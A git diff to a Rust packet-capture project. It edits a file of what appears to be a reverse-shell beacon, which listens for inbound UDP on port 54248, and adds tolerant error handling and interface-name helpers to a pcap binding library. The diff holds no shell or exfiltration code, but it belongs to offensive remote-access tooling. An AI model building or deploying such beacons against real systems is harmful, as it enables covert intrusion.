diff --git a/examples/reverse-shell/beacon/src/main.rs b/examples/reverse-shell/beacon/src/main.rs index 00ce35c..3c852ce 100644 --- a/examples/reverse-shell/beacon/src/main.rs +++ b/examples/reverse-shell/beacon/src/main.rs @@ -89,7 +89,7 @@ async fn main() -> anyhow::Result<()> { interface.set_filter("inbound and udp port 54248", true, None)?; - interface.prune(|_, interface| interface.datalink() == pcap_sys::consts::DLT_EN10MB); + interface.prune(|_, interface| interface.datalink() != pcap_sys::consts::DLT_EN10MB); enum EventType { Packet((String, Result)), diff --git a/pcap-sys/src/lib.rs b/pcap-sys/src/lib.rs index 77dbf87..3b5078f 100644 --- a/pcap-sys/src/lib.rs +++ b/pcap-sys/src/lib.rs @@ -50,7 +50,7 @@ pub mod consts { } use ffi::PcapDevIf; -use futures::{ready, Stream, StreamExt}; +use futures::{ready, StreamExt}; use tokio::io::unix::AsyncFd; use tokio_stream::StreamMap; @@ -492,6 +492,10 @@ where Interface::::new(&if_name) .map(|interface| (if_name, interface)) .ok() + .or_else(|| { + println!("{} failed to create device", new_name); + None + }) }) .collect::>() }; @@ -533,6 +537,10 @@ impl AggregateInterface { }) .collect::>() } + + pub fn get_ifnames(&self) -> Vec<&str> { + self.interfaces.keys().map(|n| &**n).collect::<_>() + } } impl AggregateInterface { @@ -562,16 +570,34 @@ impl AggregateInterface { pub fn activate(self) -> error::Result> { Ok(AggregateInterface { - interfaces: self.interfaces - .into_iter() - .map(|(name, interface)| { - let new_name = name.clone(); - interface - .activate() - .map(|interface| (name, interface)) - .map_err(|e| e.add_ifname(&new_name)) - }) - .collect::>()? + interfaces: if self.crash { + self.interfaces + .into_iter() + .map(|(name, interface)| { + let new_name = name.clone(); + interface + .activate() + .map(|interface| (name, interface)) + .map_err(|e| e.add_ifname(&new_name)) + }) + .collect::>()? + } else { + self.interfaces + .into_iter() + .filter_map(|(name, interface)| { + let name_clone = name.clone(); + interface + .activate() + .map(|interface| (name, interface)) + .ok() + .or_else(|| { + println!("{} failed to activate", name_clone); + None + }) + }) + .collect::<_>() + }, + crash: self.crash }) } } @@ -612,14 +638,30 @@ impl AggregateInterface { optimize: bool, mask: Option ) -> error::Result>> { - self.interfaces - .iter_mut() - .map(|(name, interface)| { - interface.set_filter(filter, optimize, mask) - .map(|bpf| (&**name, bpf)) - .map_err(|e| e.add_ifname(&name)) - }) - .collect::>() + if self.crash { + self.interfaces + .iter_mut() + .map(|(name, interface)| { + interface.set_filter(filter, optimize, mask) + .map(|bpf| (&**name, bpf)) + .map_err(|e| e.add_ifname(&name)) + }) + .collect::>() + } else { + Ok(self.interfaces + .iter_mut() + .filter_map(|(name, interface)| { + let name_clone = name.clone(); + interface.set_filter(filter, optimize, mask) + .map(|bpf| (&**name, bpf)) + .ok() + .or_else(|| { + println!("{} failed to set filter", name_clone); + None + }) + }) + .collect::<_>()) + } } pub fn sendpacket(&self, ifname: &str, packet: packets::EthernetPkt) -> error::Result<()> { @@ -653,19 +695,19 @@ pub struct AggregateInterfaceStream { } impl AggregateInterfaceStream { + pub fn get_ifnames(&self) -> Vec<&str> { + self.streams.keys().map(|n| &**n).collect::<_>() + } + pub fn sendpacket(&mut self, ifname: &str, packet: packets::EthernetPkt) -> error::Result<()> { if let Some(interface) = self.streams .values_mut() .find(|interface| { - let dev_name = interface.inner + interface.inner .get_ref() .interface .dev_name - .clone(); - - CString::new(ifname).map(|ifname| - ifname == dev_name) - .unwrap_or(false) + .as_bytes() == ifname.as_bytes() }) { interface.sendpacket(packet)?; }